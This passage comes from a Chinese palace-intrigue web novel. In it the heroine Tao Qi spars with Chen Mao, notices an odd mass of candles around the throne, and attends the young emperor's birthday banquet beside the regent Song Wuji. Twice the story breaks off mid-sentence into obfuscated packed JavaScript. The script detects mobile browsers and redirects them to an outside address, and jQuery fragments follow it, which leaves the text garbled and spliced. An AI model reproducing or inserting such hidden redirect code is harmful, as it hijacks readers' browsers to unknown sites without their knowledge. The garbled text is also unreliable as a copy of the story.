桃七八自己的性别小心翼翼隐藏了五六年，就怕被人看穿了查到她的身世上去，被陈茂看穿了，倒不觉得有什么危险。她也大大方方地扫视回去，道：“你什么时候变得这么文绉绉的了，一点也不符合江湖人士的做派。” 陈茂凉嗖嗖地说：“博红颜一笑，特意从说书先生哪里学的，花了我两个大铜板，感动吗？” 桃七嫣然一笑，很给面子：“登徒子的做派，调戏良家小姑娘才有用，少来小爷我面前现眼。” 陈茂：“嘴上功夫先不提，你身上的功夫嘛，不过空有其表，实际内里一团草絮。不如，本公子今日教你几招怎么样？” 说着，展开了竹扇，扇了两下，凉秋里还扇风，是有点货真价实的毛病在身上的，桃七想。 “教我？” “你是个银样镴枪头，加上这般莽直的性子，若没点功夫傍身，那我前段时日苦练一炷香练出的搓一手漂亮药丸的功夫岂不是白白浪费？ 桃七“嘿”了一声：“您老的嘴可真花儿哨。” “彼此彼此，您不也是，一天不耍嘴皮子，就会长口疮，干饭都不利索了。” “废话少说。”桃七才平息的燥动，又被激起了一波，转换目标，“看招！” 再次比试，就是喂招的架势了，陈茂正面迎接桃七的一切攻势，并在三两下之间拆解，做出反击。然后桃七被他的扇子击中要害，若是带着刃的，桃七必然已经死了。陈茂收手，桃七再攻，陈茂又以同样的招式反击，再次击中同一个地方……如此六七次，待桃七学会了抵挡这一式，陈茂便换一个招式。 意料之内，陈茂发现桃七是会几手拳脚功夫的。她本就是屠沽市井里长大的，虽然近两年收敛了些，才来那时候，可没少与染瓦坊里的地痞流氓打架，拳头、牙齿、指甲……什么都用，可凶残，把上他们作坊收保护费的王二麻子半只耳朵都撕下来了，也正是这一次次的动手，成就了他自巷头到巷尾的凶名。所以在对战中，她的意念和经验是有的，就是缺少了技巧，经过陈茂一点播，很快就领悟，并记下了那些招式。 陈茂一面教，一面还把招式的名字念出口：“太极形意拳、小念、黏手、揽雀尾、破索式、倒卷肱……”一招一式妙趣横生，桃七就算不想记，听也听得入了脑。 被打得节节败退，桃七略停了一会儿，砸摸着他那些身形意味。下一次出手，还是他惯用的勾手翻人，对方握着她的肘子扭过去让他无处着力，但是再出，接的是一招揽雀尾！崩、挪、挤、按后，一式摆莲腿，方扫到了他下盘，差点跌倒，趁着他没找到重心，紧接着快速攒拳蓄力，形意拳、中单鞭、闪通背连出，最后一招弓腰射虎，成功把刀尖送到了他下巴底下。 一刻钟，她就记下来了八个招式，并能运用于实践。 陈茂知道她手里有利器，却还是没有与她认真对打，只是散漫地喂着招儿，不成想被反将一军。 若他认真起来，十个桃七也不可能胜过自己。可他偏偏没有认真，若桃七真的想杀他，那这一下就是百分百得手的机会了。 又或者，桃七根本不知道她刚才做出的一系列招式意味着什么。她以为陈茂是刻意让自己赢一次的。 桃七眨眨眼，顷刻间有些许茫然，继而是摸到了些许武学门道的兴奋，那种天人合一的缥缈境界现在还离她太远，但她就是感觉自己有了一点子武学奇才的苗头。即便不是，日后凭着这几个招式，手里再藏着把利器，打赢三五个如地上那般的武夫是不在话下了。 这时候，其中一个趴着的武夫，捂着头后脑勺，嘴里呻吟着想要爬起来，桃七过去蹲下，一肘子砸在方才中招的那地方，又让人消停了。 陈茂轻轻咳了两下，手臂回归自然垂落的姿势，是不打算继续了，他这么站着，个子不是很高，但是手腕几乎到了大腿中间的部分，是大小就习武练出来的痕迹，一身纨绔公子的装束在他身上不伦不类。他一口气也没喘，对比桃七一脑门子汗，就显得太悠哉了。他看着远处，说：“十八岁学武，已经晚出天际了，你还算有那么芝麻大点的悟性。练个十年八年的，能勉强赶上我的十分之一吧。” 桃七勾了下嘴角，但回落的速度太快，像是脸抽了一下：“你这人，一句话里能夸出来一个字，那被你夸的人就是极好极好的了。承认吧，你就是看我如此出众，差点惊掉了下巴，怕我再练几天超过你吧。” 陈茂：“你不抖威风，没人把你当残废。” 桃七一拍桌子：“歇什么，再来！” “别了，这都半个时辰了，在过会子，里头的贵人们都该出来了。” 桃七看看天色，也是时候该回去了。正打算提屁股走人，陈茂歪了一下头，忽然冲他头上看了两眼，然后举起一根拇指指了两下自己的头顶，道：“你这里，松了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169350|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 桃七摸了摸自己的天灵盖，大早上王府丫鬟给她弄的发髻果真已经松松垮垮，散了快一大半，一缕青丝被勾了出来，没有保养过的头发发质硬，不规矩地翘着，像是蟑螂须一样。如果陈茂不提醒她，就这么走出去八成会被宫人耻笑。 桃七试着把那根头发塞进去，可她顶上又没长眼睛，如此细巧的活儿弄了七八次也没成，反而越弄越乱。姓陈的还在一边看猴儿似的欣赏。她烦了，拿削竹刀一刀割了那缕膈应人的头发，随手丢在脚下。 桃七看到周围地上一圈趴着的东西，问：“这几人怎么办？对了，你为什么在这里？” 陈茂看了一眼地上，不强不弱的微风吹过小筑，快要把地上那缕发丝带走。他道：“我听说兖王邀请狐朋狗友在此处见面，就打晕了那人扮作他进来了，一来此地，就见兖王等在这儿了。” “他就没看出你是假冒的吗？” “傅姓公子还要点儿脸面，晓得自己要干的不是什么正经事，又怕在皇宫大内被人认出，所以每次行事都得遮面。” 兖王一天天没事，就喜勾结一帮志同道合之人，贯彻他那点嗜好。时日长了，觉得寻常的玩法终归腻歪，为了追求刺激，选了个非同凡响的地点——在皇宫外苑的小筑上，玩弄伺候皇帝的宫女，抬眼是重重肃穆巍峨的朱红宫苑，低头见到文武百官上朝的含元殿，多荣耀，多威武！选了个小皇帝诞辰祭祖的绝佳时机，届时皇室和大臣们都在常极观里，再打点好了让人盯着附近，确保无人误打误撞经过，他再寻个由头溜出来，如此便可万无一失。 只不过兖王在物色宫女的过程中途见到了桃七，色眯眯的两眼一下子就直了，遂改换了下手目标。 桃七啐道：“看样子是惯犯了，平日里不知霍霍了多少漂亮的宫女姐姐，狗杂种。” “诶，你打扮成这样，说话注意着点儿。”陈茂用眼神示意他。 “这不是没外人吗？放宽心，要是在当着旁人的面，我保管是普天下最安分守己的洗脚婢。”桃七道，“奇怪的是，狗犊子兖王是怎么从常极观里出来的？” “寻个由头呗，这位是正宗皇子，连太后都不敢罚。普天之下，能让他怕的也只有摄政王，或是谢阁老这样的四朝元老了。” “你对朝中大臣们很熟么？”桃七侧目。 “宫里我来去自如。”他似是答非所问。 “吹吧，也就能在人不多的地方出出风头了。” 不远处，钟磬音响起，悠扬缥缈，隆重威严。桃七心下一突：“他们开始送神了，我得回去了。” 说罢提腿就想走，又顿住，指着地上问：“这些人怎么办？” “放这儿，等着宫里人来喊醒他们。” “兖王不会供出我来吗？”桃七问得忧心忡忡。 “你猜猜看，五六个大汉被一个小丫头放倒，堂堂兖王，会不会说出这么没面子的事。而且，他解释那些打手为什么出现在含元殿内还来不及，只会竭尽全力掩饰此事。” “那倒也是。”桃七拍了两下衣裳沾的的灰，“我走了。” 她扭头就走，丝毫没有留恋。 “等等！”陈茂叫了一声。 “还有何事？”桃七回头。 “这个月的药丸，先给你。”陈茂甩手，丢出一个用油纸包着的小东西。 桃七打开，见到熟悉的小药丸，心中一喜，仰头就是一口闷。吞完还竖起大拇指夸了句：“您这回可太敞亮了。” “诶！”陈茂叫道，“还没到时候呢，你就吃了！？” 他想去拦，可桃七动作实在太快，转眼就落肚为安。 桃七“啊”了一声：“那我吃早了，会怎么样？有副作用吗？” 陈茂撇撇嘴，不耐道：“不怎么样，原是□□日后期限到了再吃的，今日吃了，便将服用的周期提前了□□日而已，从今日开始算，一个月之后需再服用。” “那就行。”桃七浑不在意，“多吃点，好得快。”说罢又扭头回去。 “等等！” “又怎么？”桃七已经沿着台阶往下走了几步，又被叫住，抬起头看他。 “没什么。”陈茂意有所指地笑了一下，“宫里不比摄政王府，保住自己的小命。” “晚宴结束后不就回去了吗？”桃七白了他一眼，“乌鸦嘴。” “诶！” “还有什么？”桃七不耐烦极了。 “没了。”陈茂摇摇手，冲她再见。 桃七假意继续往下走了四五步，没由来突然停顿，唰地转身，仰头往上看去，以为还是会看到那张犯贱的丑脸冲自己坏笑，可这回，小筑里却已空空如也了。 她转身，提着裙摆又噔噔噔冲回了高台，可那上面只有六具昏过去的躯体。 桃七心中不知为何，洒下了半分落寞。 如此厉害的功夫，她得花多少年才能学会啊？ 37.理残髻观灯待开宴 桃七回到常极观，守门的小宫监还记得她是被内侍监的管事公公叫出去的，于是没问什么，就让她进了门。 夏冬两位还在里头，一丝不苟地低头站着桩，见到桃七回来，她们脸上的表情没有什么明显的变化，但桃七还是感觉到了她们都松了一口气，好像放下了一块大石头。 桃七赶紧上去赔笑，轻声道：“抱歉抱歉，让姐姐们忧心了。宫里的公公把我叫去有些事，这不是平安回来了吗。” 夏嘶冷冰冰道：“无碍，姑娘吉人自有天相，况且你的事王爷早有安排，无需我们多虑。” “王爷的……安排？”桃七满头疑问。 “大人们快出来了，不可多语。”夏嘶严肃低声道。 桃七转过身站直了，扶了两下乱掉的发髻，夏嘶一定是宋无忌的眼线和耳报神，她不敢造次了。 * 正午早已过去，正是未时三刻。宗庙祭祖结束，晚宴尚未开始。接下来是各位大人们歇息的时辰，他们一窝蜂从常极观里出来，而偏殿的仆人已经歇息够了，也出去伺候主子们如厕、扇风、捏肩锤腿，忙忙碌碌。秋日里凉意森森，但六七十位贵人挤在一间屋子里，穿得又厚实，难免热出一身汗来的。站在观外松松衣领，撩撩袖子，松快松快。想喝茶就去偏殿里，内监准备了简单的茶点。 在衣着或红或紫朝服的群臣里头，一身紫金重袍的摄政王显得尤为与众不同，他像一棵永不弯折的劲松，也像冷冰冰的一具假人，出门之后，也不如厕，也不喝茶，就在含元殿外站着。 来来往往的都是大人们，寒暄交谈，也有几个位高权重的与宋无忌客套两句。 两位着深紫色朝服的大人离去后，桃七三人连忙上去伺候自家王爷。可恰在这时，另有一名面生的小内监，迈着小碎步往摄政王那边去。那小内监巴巴地凑上去，低眉顺目地小声说道：“王爷，离晚宴开始还剩半个时辰，奴才领您去偏殿的后罩房歇个晌，喝杯茶吧。” 宋无忌瞥了他一眼，一时没有说话，静默住了。桃七在一旁看着，觉得宋无忌的眼神十分意味不明。 内监弓着腰，动作僵硬又不退缩，额上有细小密集的汗珠，有种强压镇定的意思。不过宫里的太监宫女俱听闻过摄政王宋无忌的厉害，在他面前说话，有这种反应也正常。 “小公公在哪里当差？”宋无忌问。 “奴才小六子，从五月起，负责的是含元殿的洒扫和守夜，不过大多数当的是晚间的值。王爷不记得奴才的脸也正常。”那人艰难地做出一个谄媚的笑容。 桃七三人在一边站着。 “是陛下请本王去的？” “那倒不是，”小内监道，“只因我们奴才们的指责所在，就是服侍好大人们，王爷可千万别怪奴才多此一举啊。” 宋无忌并没有责备的意思，反而道：“不错，是挺伶俐的。不过，本王还有旁的事儿，隔间的雅座就匀给其他大人吧。” “诶，王爷贵人事忙，您走好。”小内监说罢，竟是自己先扭头走了。而且并不像同宋无忌一样去招待其余大人，而是扬长而去，从宫道上直直走到头一拐，就没影儿了。 桃七见着空了就插进来问：“是不是又有小太监想讨王爷的赏银了？” 宋无忌什么也没说，背过手，大步流星迈下了台阶，向南边去。 小太监没讨着赏银，桃七竟讨了个没趣，在心里啐了一嘴，屁颠屁颠跟上。 宋无忌带着三女婢径直往举办晚宴的太极宫去。 太极宫毗邻含元殿，乃皇帝举办宴饮和过节庆典的大殿。殿门外有露天座台，可容纳百名客席，中间搭建了一座桐花台，宫廷舞姬和乐师，晚间会在上面载歌载舞。 晚宴未开，诸位大人和皇亲国戚还在下人们先前待的偏殿里修整，宋无忌却领桃七三人来到了此地，难道是等不及了想开席？桃七寻思那祭祖肉的确不太好吃，宋无忌又把调料给了自己，肯定没吃多少，说不定正饿得前胸贴后背，到宴席上先来两口垫垫，那可太合我的心意了。 她还是失望了，宋无忌并没有打从正门进入太极宫，而是拐了一个弯，进了一条十分隐蔽的小道，最后踏着台阶登上了宫殿西南的二层角楼。 登高望远，在那个位置，桃七还能看到南边兖王想害她的那座小筑，里头倒着的几个人影已经没了，应该是被宫人瞧见唤醒后去找太医医治了。 站得地方隐蔽，并无忙碌的宫人发现他们一行人，在那个位置，就能俯瞰底下的太极殿一览无余。此时，太常寺数名官员连连指挥，无数内宦宫女们鱼贯而入，或捧着瓜果冷盘进来，或摆弄那些器皿和座椅，几个粗使宫监推着一车鲜红的天竺葵进来，一盆盆地送到龙椅四周摆着，两座席之间都能见到姚黄魏紫，深秋里弄出一片花卉的海洋，此等奢靡，也只有皇宫才能做到了。太乐署的宫廷乐队在桐花台上排练，井然有序又难掩紧张匆忙，几百宫人都在预备一场盛大的宴席。 “姑娘把身子低一点，我们给您梳梳头。”夏嘶道。 桃七愣了一下：“哦。” 她老老实实地半蹲，做出扎马步的姿势。其实角楼边上是有供人坐下赏景的长木凳的，但是桃七不敢坐，主子都站着呢，做下人的只能陪着。 夏嘶站在桃七后面，从袖中取出一把桃木梳子，纤纤巧手在她不甚柔软的发丛中摆弄，把散乱的发髻拆下来，重新梳理。冬囚时不时搭把手接过拆下来的发饰或是暂时不用的梳子，二女婢配合默契，细心地给桃七梳头挽发。 可女子的发髻哪是好弄的，夏嘶再娴熟，也整了好一阵子，她还将桃七原本的简易发髻改成了原萝髻，更加端庄秀气一点，花的时间就更多了。 桃七马步扎得久了，腿上像有无数只蚂蚁在啃食，又酸又痛，甚至开始发抖，眼看快撑不住了。夏嘶其实已发觉了她的不适，却不提一句教她站起来缓缓，也不让她去木长椅上侧坐着梳。桃七觉得她是没安好心，巴不得看自己难受。 半柱香过去，夏嘶终于结束了头上的活计，还到桃七面前帮她整了两下领口。满意地说：“成了，姑娘起来吧。” “阿弥陀佛！”桃七脱口而出，站直的时候腿都抽筋儿了，差点坐地上去。 “谢谢姐姐，姐姐真是好手艺。”桃七感激人家两句，赶紧摸到边上去坐下。 “慢工出细活，姑娘莫怪。”夏嘶半笑不笑道：“可姑娘口中说是好手艺，连看都不看，怎知是手艺好不好呢？可见都是糊弄人的话。” 寻常女子，晨起梳妆打扮好了，会揽镜自赏片刻，脑后看不到的地方也伸手小心摸两下，生怕有一两根不妥帖的头发影响了整体的美感，可桃七却一点也不关心，对自己的发型十分敷衍。 桃七趴在栏杆上笑：“我说了不算，姐姐你看，咱王爷多吹毛求疵一人儿，他什么话都没说，就是默许了，王爷默许的，肯定是顶呱呱的好手艺。” 可宋无忌全程都背对着她们，哪里看得到桃七的发髻是圆是扁，是高是矮，自然也不好评价什么。见桃七还敢调侃王爷，夏嘶忍俊不禁，勾唇轻笑了一下，笑容很快回落下去。冬囚照例是一点反应也没有的。 后面的两女婢叽叽喳喳的不消停，宋无忌并都没有说什么，也不理睬。可听到这里时，宋无忌的头侧偏过去了一点，似乎是想回头，却生生顿住。那一点动作太细微，桃七和夏嘶都没有注意到。只有冬囚捕捉到了王爷不起眼的变化，眼中闪过一丝异样的光。 时已日暮，天际紫色与绯红的晚霞低垂，映照着重重金黄色的宫阙飞檐。夜色笼罩下来，为繁星开道。 “人怎么处理？”宋无忌目视前方，突然问。 桃七看了看毫无反应的夏冬二婢，意识到他问的是自己，脑弦一紧，站起来，把手规矩地交叉放在身前：“不知王爷问的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169351|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什……什么人？” 宋无忌回头瞥了她一眼，什么话都没说，桃七却听到了明晃晃的三个大字：“少装傻。” 桃七咽了口心虚的唾沫：“王爷心思如电，果真什么都瞒不住您。我走时，兖王和他的随从们已经晕了，在那边小筑上晾着呢。”她指了指不远处的高阁，“不过现下已无人，想必是醒来之后走了。” “我才对你说过的话，你这么快就忘了。” 桃七乖乖认错：“是奴婢莽撞了，不该惹上那样的贵人。那人知道我是您的人，之后怕是要来寻仇，王爷需早做准备。” “你自己犯的错，自己处理。” 桃七的嘴张了张，想说什么，最后只老老实实吐出了一个：“是。” 她又有什么立场让堂堂摄政王给自己擦屁股呢？两人间的新仇旧恨，还没算明白呢。 可纵使知道宋无忌看不惯自己，桃七也不会客气，人家不想保她，她却打算赖上人家了。回去之后计划窝在摄政王府里不出去，一年两年，十年八年的，看兖王能不能把手伸进来摄政王府里教训她。 大岐皇室近两年提倡廉政节俭，宣扬日食两餐。故而方才也没给各位大人预备正经的午宴。 列位贵人自是出自勋贵望族，各自府中不缺佳肴美酒，奈何从早间挨到现在，粒米未进，就等着晚上这一顿了。桃七当然更是如此，而且她后晌时还与陈茂斗武了一通，体力也耗得差不多了。更是眼巴巴地望着底下宫女们端出的珍馐美簨。时辰尚早，只有些果子糕点开胃菜先布置起来，但也足够她望梅止渴的了。 宋无忌带着她们站着，从未时三刻一直站到了申时一刻。 望梅止渴，越望越渴。再不下去开动，桃七肚子发出的雷鸣般的声儿要比那宫廷乐师催人尿下的萧声还要响了。 仅仅看宫女太监们布置酒席，就能看这么久？桃七猜不出他在做什么，又不敢问。要是他想说，自己就会说了。桃七就静静地忍耐着，看宋无忌待会儿要放什么屁。 意料之内，宋无忌终于开口：“看出什么反常的了吗？” 桃七又朝底下看了两眼，含糊说：“奴婢愚钝，没有发现什么。” “掌灯了。”宋无忌缓缓道。 已是十月末，深秋里，入夜的时间也早，申时三刻便有宫女陆续开始点燃又红又粗的蜡烛，罩上绣花鸟的绢面灯罩。宫门外已聚集了一波等待入席的大人物们，待宫人们点燃太极宫里里外外百余盏灯，宴席也就开始了。 桃七看向底下，清澈年轻的眼瞳中，一点点火光折射而出，熠熠生辉。似乎要将或远或近的黑暗和阴翳撕破。 的确反常。 “皇帝龙座周围置的灯，是不是太多了点？” 夏嘶与冬囚没有插一句嘴，听了桃七的话，互相对视一眼，心中也有疑窦升起。 摆放席面和布置菜品完毕后，一共有二十位宫人在拿着火折子点灯，其中四位在点七十多张坐席上的灯以及落地的石灯座，四位在点桐花台上悬挂的灯笼。剩下的十二人俱是团团围在龙椅周围，去点那烛台上的一百多根无灯罩的蜡烛！ 煌煌火光，一下子将龙座附近照耀得如同白昼一般。天竺葵红艳艳一圈。黄的火，红的花，灼人眼球。 桃七眉目凝起。 虽说皇帝的排场和用度必须比臣子们高，照明的蜡烛多一点也无可厚非，可这也太多了。表演吹拉弹唱的又不是皇帝，缘何要将他照得那么亮？难不成是为了让大家看清楚寿星公的模样？可那样做在里头也太晃眼儿了，一定很难受，如此布置实在不合理？ “既然看清了，就不枉本王带你上来一遭。”宋无忌甩了一下手中的檀珠手串，顺势转身，把一只单手背于身后，动作一气呵成，披散至腰间的头发也飞扬了起来，十分优雅美观。 他一步一步往阶下走去，高深莫测地说：“那便可以入席了。” 38.灭明烛盛宴涌暗流 伴随一声声高亢的“开宴”呼声，太极宫宫门大开，六七十位官员、勋贵、使臣，携各自的仆从进入太极宫。晚宴与白天的宗庙祭祀不同，在这里贵人们可以带上自己的仆从在旁服侍，不过惯例不能太多，一二名就够了，不然过于显眼。 宋无忌点了桃七和冬囚随他入席，竟让“能说会道”的夏嘶守在门外。 夏嘶其实算不上健谈，但与冬囚比起来，至少会回应桃七的问题，还能说上两句话，而那位冬囚姐姐，桃七竟揣度起她是不是个哑巴。 待摄政王宋无忌落了座，其余大人和簪缨世家的勋贵们才陆续坐下，桃七只能站在宋无忌身后，正好左边一个落地石灯，右边一株明黄鲜艳的牡丹，把她遮蔽起来，不太引人注目。 桃七的眼珠子骨碌碌转了不知道多少圈。看向最北面最高的那个位置，蓦地发现，龙椅附近原本一百多支蜡烛，足足有八成不知去哪里了，连烛台和燃烧后熄灭的蜡烛也都搬走，让那里没那么亮堂了，看起来与下面的席位一般无二的光线，龙椅四周并没有什么值得注意的地方，一切都已恢复正常。 从见到大量蜡烛点燃，到列位大人入席，正好是两刻钟的时间。百支蜡烛一齐点亮的时间应在两刻钟之内。 普通照明用的红蜡烛不是熏香，燃烧时释放出来的光明，并不会如香味一般留存下来。为何要特地点燃一段时间再熄灭呢？ 小皇帝已先一步入席，端坐在御座之中，他换了一身明黄色的织锦龙袍，长到快拖地的玉佩串子解下来不见了，高高的十二旒玉冠也换成了朱红色镶珠编织翼善冠，看起来挺喜庆的。今日本就是他的诞辰，寻常人家儿女，这个年纪还是个半大的孩子，父母还要给孩子烧碗长寿面吃吃。 而今是鼎隆7年，别看鼎隆帝年岁小，却已当了整整七年的皇帝，如此寿宴已经历过了七遭。过生日本是高兴的，而他非但没有表现出一点快意，脸上反而有郁悒之色，瘦弱的身体将龙椅衬托得十分宽大，眼珠子不动声色地转着，似乎也在察言观色，惴惴不安。 得益于宋无忌的地位高，席位也离皇帝近，桃七才得以清楚地将小皇帝的神情映入眼底。 比宋王八还高贵、还有权势的人，未来执掌大岐几十年的真龙天子，居然也会不自在吗？ 桃七思索着，鼻尖兀地有些刺挠着痒，轻轻摸了一把，一不留神就碾碎了一只飞舞到她鼻子上的小小虫豸。 指尖带出一条黑红色、断断续续的血线，沾着小虫子被碾成一小团的尸体，几乎不可察觉，桃七的心中似乎堵着了什么，无端忐忑了起来。 金灿灿的龙椅背后，摆着的是一株巨大的红珊瑚，足足有一人半高，枝杈有人胳膊那么粗，代替屏风成为龙椅背后的装饰。 再后头，是两三重珠帘，只能看到里头一个轮廓，是个贵妇人，身穿明黄和品红二色祥云凤纹祎衣，外罩流纹翟鸟图案的对襟大袖衫，搭配织金霞帔，头戴点翠凤冠，左右各镶嵌了九颗鸽子蛋大小的东珠。她的容貌掩藏在重重珠帘之内，但仪态看起来十分健朗。任谁也猜不到，这是位年岁过半百的女人。 这便是先永和帝名义上的养母崔太后，她的母家是闽安侯府，也是最有权势的外戚。景夏帝时，她是位列四妃之首的德妃，景夏帝驾崩一个月，皇后也随之病故，她顺理成章当上了太后。永和帝英年驾崩，皇帝换了个小的来当，崔太后还是太后。小皇帝还没有娶妻封自己的皇后，那崔太后就是国母，大岐最有权势的女人。 “传膳！”坐定后，刘勍太监一甩拂尘，又长又高一声呼和。 佳肴醇酿、美馔珍馐，被小内监捧着如流水一般传上来。御膳房熬了一日夜汤色鲜亮的鱼羹；瓠瓜炖鹿脍；整只肥美的勾芡鲍鱼，手指那么点大的精美雕花的茶酥；色泽枣红的半透明水晶糕；茶是掐尖儿的贡茶君山银针；由于烂得快，两日前八百里加急从岭南山里送来的朱樱……往往前一道菜还没看过瘾，下一道就来了。 桃七这辈子也没见识过这样的盛宴，是眼也直了，下巴也掉下来了，唾液冒出来一口接着一口地咽。 可恨，她只是挨边儿上站的仆人，能享用的是他主子，也只有在主子需要的时候，唤她过去倒个水，夹个菜的时候，鼻子凑近了猛闻两下的份儿。 桃七想的是主子享用的时候，把自己叫过去，善心大发给他塞个糕点瓜果啥的偷偷吃吃，虽说不合规矩，可就算被旁的太监宫人看到了，大喜的日子也不会把她揪出来煞风景。然而宋无忌看起来并没有使唤她的打算了。一连三次，唤的都是冬囚去倒酒。 不生气，不生气。 不饿不饿不饿…… 太后下边的是两位先帝的太妃，一位曾是景夏帝的宁妃，一位是永和帝的丽嫔。宁太妃一身绛紫色挑丝双窠云雁装，披的是锦缎狐毛软坎肩，显得典雅又松弛，怀里抱着只波司进贡的狸奴，烛光描摹出一张成熟的美人面，体态不减婀娜，年轻时应该是艳冠后宫的美人。 桐花台上，舞乐喧喧，七彩羽衣，如仙似幻，箜篌玉磬，珠落泉击。照例到了众臣献礼的环节。 献礼的次序自然也是按照官职和地位来的。现今朝堂几乎是摄政王和内阁首辅谢阁老平分天下，二人的地位和势力难分秋色。因敬谢阁老的是四代老臣，八十多岁高龄。往年总是是谢阁老比宋无忌先送，不过，昨日他因身子不适，告罪在家，无法赴宴，小皇帝格外倚重谢阁老，派了三名太医去瞧，回宫说还是头晕虚弱的老毛病，小皇帝也无法强求他来。 谢阁老人没来，礼物是到了。由他府里的大管家呈送上来。打开匣子，里面放的是一套文房四宝，湖笔、徽墨、端砚?、龙泉印泥、宣纸、剡藤纸、桑根纸、澄心堂纸各一刀。都是好物，却不是什么稀罕物件，皇帝日日都在用的。谢阁老是小皇帝的座师，从登基起就亲自教导了七年，送的礼代表了老师对学生学业上的敦促。 少年皇帝看到礼物，也不知高不高兴，礼数周全地让管家传达对阁老的谢意。 轮到宋无忌上场，满座都不约而同都安静下来。 宁太妃足膝上的狸奴，不知被什么吸引，眼珠子转动着，从妇人的膝上跳下去追逐着空中无形飞舞的什么东西。没跑多远，肥猫就被宁太妃的宫女抱了回来。 “今日乃我大岐皇帝陛下十六岁诞辰，微臣恭祝吾皇岁岁如意，年年康宁，太后凤体康健，鹤寿松龄，祈愿我大岐国运昌盛，百姓永享至福。” 若不是那身乌沉沉的紫金?衮冕朝服，他这一祝，端的是意气风发、澎湃昂扬，正如那初入官场，满头热血预备报效朝廷的年轻进士一般，列位臣子见了这一幕，必定要鼓掌、喝彩、捧场一番。 可这人偏偏是宋无忌，手握三十万神策军，大岐一人之下、从光华门一路血杀将小皇帝送至皇位、太极殿前连斩三位一品大员，一句话将一位三品重臣抄家灭族的当朝摄政王。往那儿一站，就能感受到浑身凛冽的杀气。 于是，满场无人应和。 深秋里，只有一人的余音回荡，给奢靡的宴饮蒙上了一层死寂的灰雾。 似是孤掌难鸣。 可他从来不是什么台下的孤掌，他是台上嗜杀的狠角儿，独自一人便能撑起整场大戏，无人配与他一同登台。 最终打破着沉默的，是 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“哦？那朕可得好好见识一下。”皇帝年纪小，果真被勾起了好奇心。同样好奇的还有桃七，那东西听着不贵，但是有趣，会是什么呢？ 就连台下头发花白的老臣，也不禁咂摸起宋无忌的礼到底是什么稀奇古怪的玩意儿。不过不管是什么，只要不是他们这帮五六年前和宋无忌叫过板的人的脑袋，其他什么都好。 宋无忌笑道：“礼，会在宴会结束的前一刻揭晓。届时，还请陛下不要推辞。” 小皇帝被勾起了好奇，兴致不错，沉闷的表情变得鲜活了一点：“那是自然。” 话毕，宋无忌拱手一拜，从御座前回到了自己的席位上。 摄政王之后，便轮到各位亲王，他们衣着蟒袍，身份尊贵，但是大多没有实权。在他们温顺的外表下，内里藏着的，不知是不是一颗取小皇帝而代之的野心。若非宋无忌和他的大军在，早就同室操戈，而今在龙椅上坐着的，可能就是他们之中的某一位了。 他们按着辈分，各自送上合适的礼品，无需多提。 皇帝扫了一眼座中诸位，发现了不对劲的地方，问：“四王叔怎么不在？” 景夏帝第四个儿子，就是兖王，在辈分上，皇帝是兖王的侄儿一辈的。 刘勍压着嗓子说：“兖王祭祖时说身子不适，后来去小筑上歇息了许久，身子还是不见好，说是向皇上告个假，就自个儿先回去了，差不多申时出的光华门。” “既是身子不适，便回去歇着吧，明日皇帝托个太医瞧瞧他也就是了。”说话的是太后。 兖王自来没什么旧疾，突然缺席，小皇帝以及众人都有疑虑。但是这位皇叔是个会搞事的，名声还极为不佳，满朝文武避之不及。他不在，众人大多不在意，甚至还有点庆幸。祭祖那么大的场合，他自由离去也没有阻拦，便是最好的证明。 小皇帝毕竟太年轻了，没有想太多，接受了这个解释。 “是。”刘勍代皇帝应下了太后的命令。 “太后娘娘思虑周全。”皇帝道。 王爷这一溜儿献过了，接下来就是众臣子们。由宦官对照着名册报出送礼的名目，打头就是六部之首的吏部。 “吏部尚书颜衎，献——翡翠碧玉白菜一件！” 桃七的眼神顿时闪了闪，举目望过去。 并非那翡翠玉白菜引起了桃七的兴趣，而是人。 姚凄凄的父亲姚鹤，原本职务便是六部之首吏部的左侍郎。而眼前这位吏部尚书颜衎（读“kàn”），便是父亲以前的顶头上司。